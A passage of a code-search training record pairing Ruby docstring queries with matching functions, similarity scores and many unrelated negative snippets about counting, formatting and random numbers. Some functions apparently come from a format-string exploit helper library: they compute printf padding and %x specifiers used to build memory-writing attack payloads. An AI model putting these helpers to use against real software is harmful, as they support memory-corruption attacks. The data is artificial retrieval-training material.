"def add_to_length_written(size)\n @length_written += size\n raise \"Content-Length overwritten: #{@length_written}, #{@content_length}\" if @content_length != nil && @length_written > @content_length\n end",
"def list_count\n\t\tThread.start do\n\t\t\tnotifier = @ts.notify 'write', [:old_n, nil]\n\t\t\tnotifier.each do |_, t|\n\t\t\t #puts t.last\n \t puts \"n: #{@ts.read([:old_n, nil]).sort.last} a: #{@ts.read([:a, nil]).last} b: #{@ts.read([:b, nil]).last} a*b: #{@ts.read([:a, nil]).last.to_i* @ts.read([:b, nil]).last.to_i}\"\n\t\t\tend\n\t\tend\n\tend",
"def count()\n\n puts 'inside count'.info if @debug\n\n cmd 'CPMS?' do |r|\n puts 'r: ' + r.inspect if @debug\n total = r.lines[2].split(',')[1].to_i\n puts ('message count: ' + total.to_s).debug if @debug\n\n total\n end\n \n end",
"def count\n coverable_files.size\n end",
"def count\n count = 0\n each do |data|\n count += 1\n end\n count\n end",
"def null_finish\n file.write(\"\\r\" + ' ' * @last_printed_length + \"\\r\")\n end",
"def long_read_len()\n #This is a stub, used for indexing\n end",
"def word_count\n puts \"\\\\n words chars\"\n puts \"---------------------\"\n puts self.public_send('|',\"wc\")\n self\n end",
"def fileno\n end"
] |
[
"0.66613513",
"0.6586725",
"0.6556572",
"0.6516755",
"0.645351",
"0.63355196",
"0.6309745",
"0.6188988",
"0.61407083",
"0.60783786",
"0.60361",
"0.6007269",
"0.59840417",
"0.59840417",
"0.5963927",
"0.5902254",
"0.5899624",
"0.5899595",
"0.58895606",
"0.58857006",
"0.58798164",
"0.58719826",
"0.58557636",
"0.5850184",
"0.5830321",
"0.58298856",
"0.5823346",
"0.5821052",
"0.58163756",
"0.5798805",
"0.5795368",
"0.5780078",
"0.57768255",
"0.5755913",
"0.5742471",
"0.5732009",
"0.57285154",
"0.57231444",
"0.5698206",
"0.56814307",
"0.567058",
"0.56629324",
"0.56372786",
"0.56372786",
"0.5627107",
"0.56201494",
"0.5616317",
"0.56128347",
"0.56092757",
"0.5607536",
"0.5604278",
"0.56030977",
"0.56017476",
"0.5599484",
"0.55962455",
"0.5595002",
"0.5577392",
"0.55729556",
"0.55688834",
"0.55652404",
"0.55652404",
"0.55652404",
"0.5564714",
"0.55637455",
"0.5563626",
"0.5560939",
"0.5559741",
"0.55567217",
"0.55516934",
"0.55497795",
"0.5549244",
"0.55489033",
"0.5546985",
"0.55442184",
"0.551958",
"0.5516029",
"0.5511302",
"0.55102754",
"0.55100566",
"0.55100566",
"0.55085987",
"0.55016166",
"0.55016154",
"0.55016154",
"0.55016154",
"0.5501581",
"0.5500588",
"0.5497333",
"0.54877555",
"0.54877555",
"0.548019",
"0.546893",
"0.54624027",
"0.5460975",
"0.5460686",
"0.5448622",
"0.54460603",
"0.5445085",
"0.5443053",
"0.54406893",
"0.543765"
] |
0.0
|
-1
|
Generate the number to be used for precision that will create the specified value to write
|
def fmtstr_target_short(value, num_printed)
if value < num_printed
return (0x10000 - num_printed) + value
end
return value - num_printed
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def generate_random()\n begin\n r = Kernel.rand()\n end while r == 0.0\n \n if use_flt?\n BigDecimal(r.to_s)\n else\n r\n end\n end",
"def rnd( val )\n\t\traise 'Trouble' if val == 0.0\n\t\tp = 10**(Math.log10(val.abs).floor)\n\t\tp = val < 0 ? -p : p\n\t\treturn (val / p).round(1) * p\n\tend",
"def rnd( val )\n\t\traise 'Trouble' if val == 0.0\n\t\tp = 10**(Math.log10(val.abs).floor)\n\t\tp = val < 0 ? -p : p\n\t\treturn (val / p).round(1) * p\n\tend",
"def number\n\t\"#{Time.now.to_i}-#{rand(1_000_000)}\"\n end",
"def precision; end",
"def generate_number\n if self.respond_to? :inv_cdf\n inv_cdf(rand)\n else\n generate_sample 1\n end\n end",
"def generate_prod_number\n start_digits = rand(1000..9999)\n end_digits = rand(1000..9999)\n alphabet = (\"A\"..\"Z\").to_a\n middle_digits = \"2021\"\n 5.times { middle_digits << alphabet.sample}\n \"#{start_digits}-#{middle_digits}-#{end_digits}\"\n end",
"def prec_i() end",
"def rand\n return extract_number / (2**32 -1).to_f\n end",
"def get_basic_factor(value = 0.5)\n return value + rand % (1 - value)\n end",
"def gen_num\n rand(1..100)\nend",
"def value\n genes.inject(0){ |memo, g| memo += g.to_i(16) }\n end",
"def number(placeholder = nil)\n generate(placeholder, NUMBER_CHARACTERS)\n end",
"def precision=(val)\n self['precision'] = val\n end",
"def generate_production_number\n start_digits = rand(10000..99999)\n end_digits = rand(10000..99999)\n alphabet = (\"A\"..\"Z\").to_a\n middle_digits = \"2017\"\n 5.times { middle_digits << alphabet.sample}\n \"#{start_digits}-#{middle_digits}-#{end_digits}\"\n end",
"def generate_production_number\n start_digits = rand(10000..99999)\n end_digits = rand(10000..99999)\n alphabet = (\"A\"..\"Z\").to_a\n middle_digits = \"2017\"\n 5.times { middle_digits << alphabet.sample}\n \"#{start_digits}-#{middle_digits}-#{end_digits}\"\n end",
"def number_with_precision\n\t\t\"%.2f\" % number\n\tend",
"def decimal\n @decimal ||= implied_probability.decimal\n end",
"def decimal\n @decimal ||= implied_probability.decimal\n end",
"def calc_generator_size(val1= chp_salable_elec, val2 = 364 * 24)\n\t\t(val1 / val2).round 3\n\tend",
"def generate_value\n \"\"\n end",
"def generate_one_random_number()\r\n @l = @total_no_of_bits + 1\r\n bit_string = @total_sequence.join('')\r\n numerator = bit_string.to_i(2)\r\n random_number = numerator *1.0 / 2**@l\r\n\r\n return random_number\r\n end",
"def float(max_float)\n NumGen.new max_float.to_f\n end",
"def generate_number\r\n return randomNumber = 1 + rand(100)\r\n end",
"def file_num_generate\n \t\t_random(6) + \"#{file_uid}\"\n\tend",
"def db_power(value)\r\n 10 * Math.log(value, 10)\r\n end",
"def decimal_base(n)\n 10**(n-1)\nend",
"def precision(f)\n return (f * GeoRecord::SCALE).round.to_f / GeoRecord::SCALE\n end",
"def conversion_precision; end",
"def generate_number\r\n \r\n #Generate and return a random number between 1 and 1000\r\n return randomNo = 1 + rand(1000)\r\n \r\n end",
"def to_string(number, precision)\n if number.zero? || precision <= 0\n String(number.to_i)\n else\n String(number)\n end\n\n #sprintf(\"\"%.#{precision}f\", number)\n end",
"def gen_speed\n rand + 15.0\n end",
"def get_totp(totp_size = 6)\n totp = \"\"\n totp_size.times { totp << Random.rand(10).to_s }\n return totp\nend",
"def FLOOR(value, precision = 0)\n value.floor(precision)\n end",
"def min_amount_by_precision\n 0.1.to_d**amount_precision\n end",
"def min_amount_by_precision\n 0.1.to_d**amount_precision\n end",
"def create_magic_number(opts = {})\n # defaults\n opts[:rundate] ||= Date.today\n opts[:divisor] ||= 4\n drinking_hash(opts[:rundate], opts[:divisor])\n end",
"def golden_ratio(precision)\n x = fib(99)/fib(98).to_f\n x.round(precision)\n end",
"def increased_valuation(i,d)\n (property_value * ((1 + (i / 100)) ** d)) / 1000\n end",
"def precision\n @values.fetch(:tp) / Float(@values.fetch(:tp) + @values.fetch(:fp))\n end",
"def generate_ordernum(digits = 11)\n #Date.today.strftime(\"%Y%m%d\").to_s + (\"%04d\" % (Order.where(\"created_at >= ?\", Time.zone.now.beginning_of_day).count + 1))\n case self.payment_type\n when \"atm_transfer\"\n type = \"AT\"\n when \"credit_card\"\n type = \"CR\"\n when \"COD\"\n type = \"CD\"\n when \"Vaccount\"\n type = \"VA\"\n when \"paypal\"\n type = \"PP\"\n end\n self.ordernum ||= loop do\n # Make a random number.\n random = \"#{type}#{Array.new(digits){rand(10)}.join}\"\n # Use the random number if no other order exists with it.\n if self.class.exists?(ordernum: random)\n # If over half of all possible options are taken add another digit.\n digits += 1 if self.class.count > (10 ** digits / 2)\n else\n break random\n end\n end\n end",
"def _file_num_generate\n\t\t_random(6) + \"#{_user[:uid]}\"\n\tend",
"def number_with_precision(number, precision=3)\n \"%01.#{precision}f\" % number\n rescue\n number\n end",
"def generate_number\r\n \r\n #Generate and return a random number between 1 and 100\r\n return randomNo = 1 + rand($maxChallengeRange)\r\n \r\n end",
"def converter(n, decimals=0, base=$pi)\r\n #your code here\r\nend",
"def generate_order_number\n r = Random.new\n \"#{self.class.to_s.gsub(/[a-z]/, '')}#{Time.now.to_i}\"\n end",
"def new_account_number\n return rand(99999999)\n end",
"def new_account_number\n return rand(99999999)\n end",
"def desired_xp\n return (200 * level * (level + 1)).to_i\n end",
"def generate_attr(desired_value)\n min = desired_value - 2\n min = 0 if min < 0\n max = desired_value + 2\n max = 0 if max < 0\n rand(min..max)\n end",
"def round_1_sig_fig n \n get_first_digit(n) * 10**length(n)\nend",
"def precision\n self['precision']\n end",
"def prec_f() end",
"def to_precision(num)\n self.class.new(a, b, c, precision: num)\n end",
"def e_built_in(number_of_decimals)\n\tprintf(\"%.#{number_of_decimals}f\", E(number_of_decimals))\n\tprintf \"\\n\"\nend",
"def write_number number\n if number >= MIN_INTEGER && number <= MAX_INTEGER #check valid range for 29 bits\n write_integer number\n else #overflow to a double\n write_double number \n end\n end",
"def autoFormatPower(val)\n if (val < 1000 && val > -1000)\n return val.round(1).to_s + ' W'\n end\n if ((val >= 1000 && val < 1000000) || (val > -1000000 && val <= -1000))\n return (val/1000).round(3).to_s + ' kW'\n end\n if (val <= -1000000 || val >= 1000000)\n return (val/1000000).round(3).to_s + ' MW'\n end\nend",
"def serialize(val)\n if ::Time.now.respond_to?(:nsec)\n val.to_i.to_s + '.' + val.nsec.to_s ##strait to_f loses precision\n else\n val.to_i.to_s + '.' + val.usec.to_s ##strait to_f loses precision\n end\n end",
"def precision\n @precision = self.class::MAX_PRECISION unless @precision\n return @precision\n end",
"def value\n return 15*level\n end",
"def compute_to_good_precision(w, precision, max_precision)\n\twhile true\n\t\tstart_time = Time.now\n\t\tresult = `./cylinder #{w} #{precision}`\n\t\tend_time = Time.now\n\t\treturn result if (end_time - start_time > 2 or precision >= max_precision)\n\t\tprecision = precision + 1\n\tend\nend",
"def to_s\n \"%014d\" % to_i\n end",
"def noisify!(fraction, precision=1000000)\n self.collect! do |val| \n part = fraction * val\n rnum = rand((2*part*precision).to_i)\n random = rnum.to_f/precision\n answ = val - part\n if val > 0\n answ + random\n else\n answ - random\n end\n end\n end",
"def pack_db value\r\n pack_data(\r\n if value > -10\r\n value * 10000\r\n else\r\n (-1 * Math.log10((value / 10).abs) * 200000) - 100000\r\n end\r\n )\r\nend",
"def fppr(num_target, num_decoy, pi_not=1.0)\n 1.0 - precision(num_target, num_decoy, pi_not=1.0)\n end",
"def precision\n min.precision || max.precision\n end",
"def exp_for_level(level)\n return (DND::EXP_FOR_LEVEL[level] * 1000).to_i\n end",
"def value\n if not @generated\n @generated = true\n @value = generate_value\n end\n return @value\n end",
"def random_account_number\r\n acct_num = rand(10**11).to_s.rjust(11, '1')\r\n return acct_num\r\n end",
"def value\n value = number\n end",
"def int(max_int)\n NumGen.new max_int\n end",
"def to_rep(val)\n val.to_f\n end",
"def persistence(n)\n n < 10 ? 0 : 1 + persistence(n.digits.reduce(&:*))\nend",
"def get_random_number(max_value = 10)\n\trand(max_value)\nend",
"def generate_number\n return if !self.number.blank? || !self.isic?\n\n range = self.club.card_range_for :isic\n current_max = Card.where(\n :members => {:club_id => self.club.id},\n :number => range\n ).maximum(:number)\n self.number = current_max.try(:succ) || range.begin\n end",
"def to_s\n \"v#{number}\"\n end",
"def create_acct()\n\tiin = [40,41,42,43,44,45,51,52,53,54,55]\n\tacct = iin[rand(9)].to_s\n\n\twhile acct.length < 16\n\t\tacct = acct.concat(\"#{rand(9).to_s}\")\n\tend\n\tcvv = rand(899)+100\n\t\"#{acct}/#{cvv.to_s}\"\nend",
"def generate_number\n \n #generate and return a random number from 1 to 100\n return randomNO = 1 + rand(1000)\n\n end",
"def create_string(value, n)\n value.length < 3 ? value * n : value[0..2] * n\nend",
"def to_s\n\t\treturn \"#@num/#@den\"\n\tend",
"def prec(*) end",
"def digit\n rand(10)\n end",
"def generate_number(store)\n store.number = loop do\n random_number = Digest::SHA1.hexdigest([Time.now, rand].join)[0..5].upcase\n break random_number unless Store.exists?(number: random_number)\n end\n end",
"def compress_number(num, precision=2)\n if precision > 0\n num_string = sprintf(\"%0.#{precision}f\", num)\n else\n num_string = sprintf(\"%d\", num.round)\n end\n if(num_string =~ /^00$/)\n num_string = \"0 \"\n end\n\n return num_string\n end",
"def human_round number, base_precision = 0\n #FIXME there is an algorithm for this. What is it?\n precision = base_precision\n if number < 10\n precision = base_precision + 1\n end\n if number < 1\n precision = base_precision + 2\n end\n f_number = sprintf \"%.#{precision}f\", number\nend",
"def probability_s\n return @probability_s\n end",
"def random_no\n rand(5000)\nend",
"def generate_order_no\n Time.now.to_f.to_s.tr('.', '')\n end",
"def number_generator\n rand(1..20)\n end",
"def precision\n @precision ||= cells.map(&:to_f).map { |n| n.round(3) }.map { |n| n.to_s.split(\".\").last.gsub(/0+$/, \"\").length }.max\n end",
"def conversion_precision=(_arg0); end",
"def generate_tree_id(count)\n if count < 10\n \"000#{count}\"\n elsif count >= 10 && count < 100\n \"00#{count}\"\n elsif count >= 100 && count < 1000\n \"0#{count}\"\n else\n \"#{count}\" \n end\n end",
"def to_i(base=10) end",
"def generate_order_number\n record = true\n while record\n random = \"R#{Array.new(9){rand(9)}.join}\"\n record = self.class.where(:number => random).first\n end\n self.number = random if self.number.blank?\n self.number\n end",
"def p(val)\n\t\t\tif (@probability_distribution.key?(val))\n\t\t\t\treturn @probability_distribution[val]\n\t\t\telse\n\t\t\t\treturn 0\n\t\t\tend\n\t\tend",
"def gen\n (x=rand)>0.5 ? x : (x < rand/2.0) ? 1.0 - x : x\nend",
"def write_number(numeric)\n\t\twrite_byte(0)\n\t\twrite_double(numeric)\n\tend",
"def number_with_precision(number, options = {})\n SitemapGenerator::Utilities.symbolize_keys!(options)\n\n number = begin\n Float(number)\n rescue ArgumentError, TypeError\n if options[:raise]\n raise InvalidNumberError, number\n else\n return number\n end\n end\n\n defaults = {\n :separator => \".\",\n :delimiter => \",\",\n :precision => 3,\n :significant => false,\n :strip_insignificant_zeros => false\n }\n precision_defaults = {\n :delimiter => \"\"\n }\n defaults = defaults.merge(precision_defaults)\n\n options = SitemapGenerator::Utilities.reverse_merge(options, defaults) # Allow the user to unset default values: Eg.: :significant => false\n precision = options.delete :precision\n significant = options.delete :significant\n strip_insignificant_zeros = options.delete :strip_insignificant_zeros\n\n if significant and precision > 0\n if number == 0\n digits, rounded_number = 1, 0\n else\n digits = (Math.log10(number.abs) + 1).floor\n rounded_number = (SitemapGenerator::BigDecimal.new(number.to_s) / SitemapGenerator::BigDecimal.new((10 ** (digits - precision)).to_f.to_s)).round.to_f * 10 ** (digits - precision)\n digits = (Math.log10(rounded_number.abs) + 1).floor # After rounding, the number of digits may have changed\n end\n precision = precision - digits\n precision = precision > 0 ? precision : 0 #don't let it be negative\n else\n rounded_number = SitemapGenerator::Utilities.round(SitemapGenerator::BigDecimal.new(number.to_s), precision).to_f\n end\n formatted_number = number_with_delimiter(\"%01.#{precision}f\" % rounded_number, options)\n if strip_insignificant_zeros\n escaped_separator = Regexp.escape(options[:separator])\n formatted_number.sub(/(#{escaped_separator})(\\d*[1-9])?0+\\z/, '\\1\\2').sub(/#{escaped_separator}\\z/, '')\n else\n formatted_number\n end\n\n end",
"def ctof(n) \n c=1.8\n return ((n*c)+32).to_i \nend",
"def write_bignum(*n); end",
"def power_level(x, y)\n ((((x + 10) * y ) + $serial_num) * (x + 10)).digits[2] - 5\nend"
] |
[
"0.6581044",
"0.6438937",
"0.6438937",
"0.64244",
"0.63345504",
"0.6157965",
"0.6054976",
"0.6009149",
"0.59844977",
"0.597695",
"0.5973231",
"0.5924661",
"0.59075433",
"0.58723795",
"0.5846775",
"0.5846775",
"0.58444357",
"0.58401924",
"0.58401924",
"0.58390725",
"0.5828013",
"0.5823112",
"0.5786663",
"0.5773685",
"0.5773033",
"0.5772883",
"0.57626253",
"0.57592857",
"0.57583964",
"0.571285",
"0.56914854",
"0.5666703",
"0.5652888",
"0.5650969",
"0.5640469",
"0.5640469",
"0.5628882",
"0.56286883",
"0.5620843",
"0.56087685",
"0.5608226",
"0.5603841",
"0.5600025",
"0.5594835",
"0.5591238",
"0.55879205",
"0.5583235",
"0.5583235",
"0.5579968",
"0.55784696",
"0.55747217",
"0.5563977",
"0.5540574",
"0.55346984",
"0.55311733",
"0.55280304",
"0.5525805",
"0.5520389",
"0.55176824",
"0.55102044",
"0.5499607",
"0.54991204",
"0.5486492",
"0.54853654",
"0.54779935",
"0.5476741",
"0.54384667",
"0.54325587",
"0.5427668",
"0.54185164",
"0.5410953",
"0.54049283",
"0.5403431",
"0.540082",
"0.54004663",
"0.5398796",
"0.539724",
"0.53856343",
"0.5381336",
"0.53797376",
"0.53673863",
"0.5365925",
"0.5360072",
"0.535007",
"0.5348009",
"0.5339289",
"0.5335413",
"0.53339404",
"0.5327324",
"0.53249717",
"0.5322165",
"0.5316019",
"0.5315504",
"0.5314347",
"0.53040874",
"0.53040445",
"0.5303017",
"0.5301846",
"0.53010577",
"0.5300797",
"0.5300717"
] |
0.0
|
-1
|
Generate a fmt that will advance the printed count by the specified amount
|
def fmtstr_advance_count(prec)
# no need to advance :)
return "" if prec == 0
# asumming %x max normal length is 8...
if prec >= 8
return "%0" + prec.to_s + "x"
end
# anything else, we just put some chars in...
return rand_text(prec)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def print_separator(repetitions = 18)\n puts '-' * repetitions\nend",
"def formatted_count item, key_count\n key_count_str = number_with_delimiter(key_count.to_i, :delimiter => ',')\n \"%-25s\\t%12s\" % [item, key_count_str]\n end",
"def horizontalSpacer(n , text)\n n.times {print \" \"}\n puts text\nend",
"def newParagraphSpacer(n) \n n.times {puts \" \" }\nend",
"def decoration(number, line_length)\n (\"=\" * number * (line_length+1)) << \"\\n\"\nend",
"def pn\n \"#{DRAWING_PN % (index+1)}\"\n end",
"def counter(name, default=0, size=5)\n add(name, default, \"%#{size}d\") { |v| v+= 1 }\n end",
"def padded_line(iteration, elapsed_time)\n meter_line = line(iteration, elapsed_time)\n pad_size = [@last_printed_length - meter_line.size, 0].max\n @last_printed_length = meter_line.size\n meter_line + ' ' * pad_size\n end",
"def level_print(message, count)\n\n if count > 0\n indention = \"\"\n indention += \" \" until indention.length() == 2*count\n print indention\n end\n\n puts message\nend",
"def repeat_yourself(string, num) \n puts \"#{string}\\n\" * num\nend",
"def increment(format=nil, initial=1) \n regexp = format ? Regexp.new(Regexp.escape(format).gsub('%s', '\\d+')) : /\\d/\n parts = format ? split(/(#{regexp})|(\\D)/) : split(/(\\D)/)\n num = (format || \"%s\") % 0\n parts.push(num) unless parts[-1] =~ regexp\n parts[-1] = if format \n parts[-1].sub(/(\\d+)/) { |m| \n (Integer(m).zero? ? initial : Integer(m) + 1)\n }\n else\n Integer(parts[-1]).zero? ? initial : Integer(parts[-1]) + 1\n end\n parts.join\n end",
"def printi(text, n = 1)\n print idt(n) + text\n end",
"def up_with_wrap(times=1)\n write_raw \"\\v\" * times\n end",
"def to_s\n s = \"#{count}d#{sides}\"\n s << \"%+d\" % increment if increment != 0\n s << \"*%d\" % multiplier if multiplier != 1\n s\n end",
"def format(lines, cur_no)\n lastno = lines.keys.max\n lines.map do |num, line|\n sign = num + 1 == cur_no ? '=> ' : ' ' * 3\n super('%s%*d: %s', sign, lastno.to_s.size, num + 1, line)\n end.join(\"\\n\")\n end",
"def print_times_blank(amount)\n amount.times { print \" \"}\n nil\n end",
"def repeater(repetitions, text)\n display_text = \"\"\n repetitions.times { display_text += text }\n display_text\nend",
"def indent(txt, n = 2)\n \"#{' ' * n}#{txt}\"\n end",
"def space\n 20.times do\n puts \"\"\n end\n end",
"def fmtstr_count_printed(num_printed, num_pad, num_pops, arr)\n\t\t\n\t\tnum = num_printed + num_pad\n\t\tif not @use_dpa\n\t\t\tnum += (8 * num_pops)\n\t\tend\n\t\tnpr = num\n\t\tarr.each do |el|\n\t\t\tprec = fmtstr_target_short(el[0], npr)\n\t\t\t# this gets popped in order to advance the column (dpa doesn't need these)\n\t\t\tif not @use_dpa and prec >= 8\n\t\t\t\tnum += 4\n\t\t\tend\n\t\t\t\n\t\t\t# account for the addr to write to\n\t\t\tnum += 4\n\t\t\tnpr = el[0]\n\t\tend\n\t\treturn num\n\tend",
"def print_spacer(number_of_dots)\n\t$report_file.puts \"*\" * number_of_dots\nend",
"def print_number(number)\n number.nil? ? \"_\" : (number + 1).to_s\n end",
"def repeat(input, iterations = 0)\n if (iterations <= 2)\n \"#{input}\" + \" \" + \"#{input}\"\n else\n \"#{input} \" * (iterations - 1) + \"#{input}\"\n end\nend",
"def print_num n\n prep = n < 0 ? \"\" : \" \"\n print \"#{prep}%.2f | \" % n\nend",
"def separator(num_of_astrsk = 24)\n $report_file.puts(\"*\" * num_of_astrsk)\nend",
"def wrt_total_purchs(count, options = {})\n format = options[:format] || 6\n $report_file.puts(\"Total Purchases:\" + \"%#{format}s\" % count.to_s)\nend",
"def format_step_number(number)\n \"#{number}. \"\n end",
"def five_it(item)\n 5.times do |count|\n p item + count.to_s\n end\nend",
"def roll_four_alt\n puts \"...........\n: * * :\n: :\n: * * :\n'''''''''''\n\"\nend",
"def format\n string =\n if @factor > 1\n \"#{@factor.round}:1\"\n else\n \"1:#{(1 / @factor).round}\"\n end\n string = \"~#{string}\" unless self == self.class.new(string)\n\n string\n end",
"def pn\n \"#{CHART_PN % (index+1)}\"\n end",
"def print_line(height, num)\n result = \" \" * (height - num)\n num.times do\n result += \"* \"\n end\n puts result\nend",
"def print_line(str, num = 1)\n num.times { print str}\nend",
"def border(n)\r\n puts \"-\" * n\r\n end",
"def roll_five_alt\n puts \"...........\n: * * :\n: * :\n: * * :\n'''''''''''\n\"\nend",
"def roll_six_alt\n puts \"...........\n: * * :\n: * * :\n: * * :\n'''''''''''\n\"\nend",
"def print_spacing spaces\n spaces.times do\n puts \"\\n\"\n end\nend",
"def create_line(num)\n '-' * num\nend",
"def formatting(str)\n puts str * 80\nend",
"def diamonds(int)\n counter = 1\n until counter == int\n space_string = ((int - counter) / 2)\n puts \"#{' ' * space_string}#{'*' * counter}#{' ' * space_string}\"\n counter += 2\n end\n puts \"#{'*' * counter}\"\n until counter == 1\n counter -= 2\n space_string = ((int - counter) / 2)\n puts \"#{' ' * space_string}#{'*' * counter}#{' ' * space_string}\"\n end\nend",
"def repeat (say, how_many = 2)\n (\"#{say} \" * how_many).strip\n\nend",
"def starting_msg(n)\n \"#{n} bottles of beer on the wall, #{n} bottles of beer.\"\nend",
"def FormatRemainingCount(remaining)\n if Ops.less_than(remaining, 0)\n # Nothing more to install from this CD (very concise - little space!!)\n return _(\"Done.\")\n end\n return \"\" if remaining == 0\n\n Builtins.sformat(\"%1\", remaining)\n end",
"def draw_fmt_num(rect, int, fmt=\"%03d\", align=align_label)\n bmp = self.bitmap\n met_font_config(:light, :enb)\n # calculate the largest rect from numbers\n num = (0...9).max_by do |i| bmp.text_size(i.to_s).width end\n maxrect = bmp.text_size(num.to_s)\n sz = int.to_s.size\n rs = rect.contract(anchor: MACL::Surface::ANCHOR_CENTER,\n amount: Metric.contract)\n (fmt % int).split('').reverse.each_with_index do |c, ci|\n bmp.font.color = txt_palette[:light_ui_enb]\n bmp.font.color = txt_palette[:light_ui_dis] if ci >= sz\n bmp.draw_text(rs, c, 2)\n rs.width -= maxrect.width\n end\n return rs\n end",
"def pattern(n)\n str = \"\"\n for i in 1..n do\n \n i.times do\n str += i.to_s\n # str += \"#{i}\"\n end\n str += \"\\n\"\n end\n \n puts str\nend",
"def pp(indent = \"\")\n \"#{indent}#{@number}\"\n end",
"def format; :n3; end",
"def display\n puts \" 0 1 2 3 4 5 6 7 \"\n puts \"#{format}\"\n end",
"def repeat_yourself(string,number)\n number.times { puts string }\nend",
"def triangle(num)\n 1.upto(num) { |n| puts \"#{\"*\" * n}\".rjust(num) }\nend",
"def make_next_seq_no\n if EdiHelper.current_out_is_cumulative || @return_a_string\n @out_seq = 1\n else\n @out_seq = MesControlFile.next_seq_edi(MesControlFile.const_get(\"EDI_#{@flow_type.upcase}\"))\n @seq_increased = true\n end\n @formatted_seq = sprintf('%03d', @out_seq)\n end",
"def pattern(n)\n # take an array from 1 to n and print each element\n # the amount of times of the value of that element\n # join the output elements with newline characters\n (1..n).map { |num| num.to_s * num }.join(\"\\n\")\nend",
"def sameLineDivider(n)\n n.times {|x| print \"*\"}\nend",
"def staircase(n)\n for i in 1..n do\n puts (\"#\" * i).rjust(n)\n end\n\nend",
"def new_line(times = 1)\n times.times do\n print \"\\n\"\n end\n\n end",
"def repeat(str, nb_times)\r\n if nb_times < 0\r\n puts 'You must provide a positive number!'\r\n return\r\n end\r\n\r\n nb_times.times { puts str }\r\nend",
"def format\n puts \"-\" * 60\n end",
"def repeatNum( v, n )\n\treturn (1..n).inject( \"\" ){ |s| s.to_s + v.to_s }\nend",
"def roll_four\n puts %Q{...........}\n puts %Q{: * * :}\n puts %Q{: :}\n puts %Q{: * * :}\n puts %Q{'''''''''''}\nend",
"def repeat(string, number)\n number.times{ puts string }\nend",
"def repeat(str, int)\n int.times { puts str }\nend",
"def display_count(count)\n if count == 1\n #\"\"\n else\n count.to_s\n end\n end",
"def print_stairs n, str\n\ts = str;\n\tn.times {|n| puts s; s += str}\nend",
"def to_s\n r = \"##### ##### ##### ##### #####\\n\"\n (0..2).each { |y|\n (0..2).each { |x|\n r += get_print_char(x,y, '.') + \" \"\n }\n r += (\" \" * 5)\n (0..2).each { |x|\n r += get_print_char(x,y, nil, \" \", \" \") + \" \"\n }\n r += \"\\n\"\n }\n r += '##### ##### ##### ##### #####'\n end",
"def repeat(string, number)\n number.times { puts string }\nend",
"def repeat(string, number)\n number.times { puts string }\nend",
"def amount(n)\n case n\n when 0\n \"0 #{self}s\"\n when 1, -1\n \"#{n} #{self}\"\n else\n \"#{n} #{self}s\"\n end\n end",
"def q1_print_times(str, num)\n num.times {|num_here|\n p str\n }\nend",
"def print_rotation_count\n @rotation_count += 1\n print \"\\r\\e#{@rotation_count} of #{@maximum_rotations} processed...\"\n $stdout.flush\n end",
"def repeat(str, num)\n num.times { puts str }\nend",
"def repeat(str, num)\n num.times { puts str }\nend",
"def repeat(str, num)\n num.times { puts str }\nend",
"def multiplication_tables(num)\n #variable que recibe el valor de la tabla\n tablas = 1\n #Loop que calcula la multiplicación de cada número\n for n in 1..num\n (1..10).each do |x| \n tablas = n * x\n #formatea el valor con espacio de 5 string entre cada valor\n printf \"%-5s\", tablas\n end\n #salto de linea\n printf(\"\\n\")\n end\nend",
"def repeat(string, num)\n num.times { puts string }\nend",
"def repeat(string, num)\n num.times { puts string }\nend",
"def roll_five\n puts %Q{...........}\n puts %Q{: * * :}\n puts %Q{: * :}\n puts %Q{: * * :}\n puts %Q{'''''''''''}\nend",
"def output_counter(params)\n \"<p>#{kv(params[:stat].descr, params[:stat].value)}</p>\\n\"\n end",
"def pad(n_str, amount)\n l = n_str.length\n pad_length = amount - l\n if pad_length >= 0\n zeros = \"0\" * pad_length\n \"#{zeros}#{n_str}\"\n else\n \"#{n_str}\"\n end\n end",
"def linebreak(amount=1)\n $stdout.print \"\\n\" * amount\n end",
"def repeat(string, number_of_times)\n number_of_times.times do\n puts string\n end\nend",
"def repeat(string, int)\n int.times { puts string }\nend",
"def repeat_yourself(word, count)\n count.times {puts word}\n end",
"def pyramid(n)\n count = 1\n n.times do\n puts (\" \" * (n - count)) + (\"#\" * count)\n count += 1\n end\nend",
"def disply_percente line, numLines, lastNum\r\n precenteDone = (line*100/numLines)\r\n print '0%' if line == 0\r\n print (\" \" + precenteDone.to_s + \"%\") if (precenteDone.ceil % 25 == 0 and precenteDone > 0) and lastNum.to_s != precenteDone.to_s\r\n print \" .\" if line%10 == 0\r\n puts '100%' if line == numLines-1\r\n newLastNum = precenteDone\r\n return (line += 1), newLastNum\r\n end",
"def cell(i)\n printf ' %3d ', i\n end",
"def three_digit_format(n)\r\n # your code here\r\n n.to_s.rjust(3, \"0\")\r\nend",
"def repeat(input_str, pos_num)\n pos_num.times {puts input_str}\nend",
"def output_times_table(number)\n\n puts \"Is #{number} times table:\"\n (1..12).each do |multiplier|\n total = number * multiplier\n puts \"#{multiplier} x #{number} = #{total}\"\n end\n puts \"\\n\"\n\nend",
"def repeat(str, num)\n puts num.times {puts str}\nend",
"def fmtstr_target_short(value, num_printed)\n\t\tif value < num_printed\n\t\t\treturn (0x10000 - num_printed) + value\n\t\tend\n\t\treturn value - num_printed\n\tend",
"def display_value(count)\n return \"- \" if count.nil?\n return \"0 \" if count.zero?\n\n case Math.log10(count).floor\n when 1...4 then '%d ' % count\n when 4...7 then '%dk' % (count / 1000)\n when 7...10 then '%dM' % (count / 1000_000)\n when 10...13 then '%dG' % (count / 1000_000_000)\n when 13...16 then '%dT' % (count / 1000_000_000_000)\n else '%dP' % (count / 1000_000_000_000_000)\n end\n\n end",
"def repeat(word, number)\n number.times { puts word}\nend",
"def pluralized_stats(count, thing)\n new_count, new_thing = pluralize(count, thing).split(' ')\n raw \"#{new_count} #{content_tag(:span, new_thing)}\"\n end",
"def align(num)\n if num < 10\n \" #{num}\"\n else\n \" #{num}\"\n end\n end",
"def count_description\n @count ? \"#{@count} times\" : \"\"\n end",
"def roll_six\n puts %Q{...........}\n puts %Q{: * * :}\n puts %Q{: * * :}\n puts %Q{: * * :}\n puts %Q{'''''''''''}\nend",
"def repeat(str, num)\n num.times do | i |\n puts str\n end\nend",
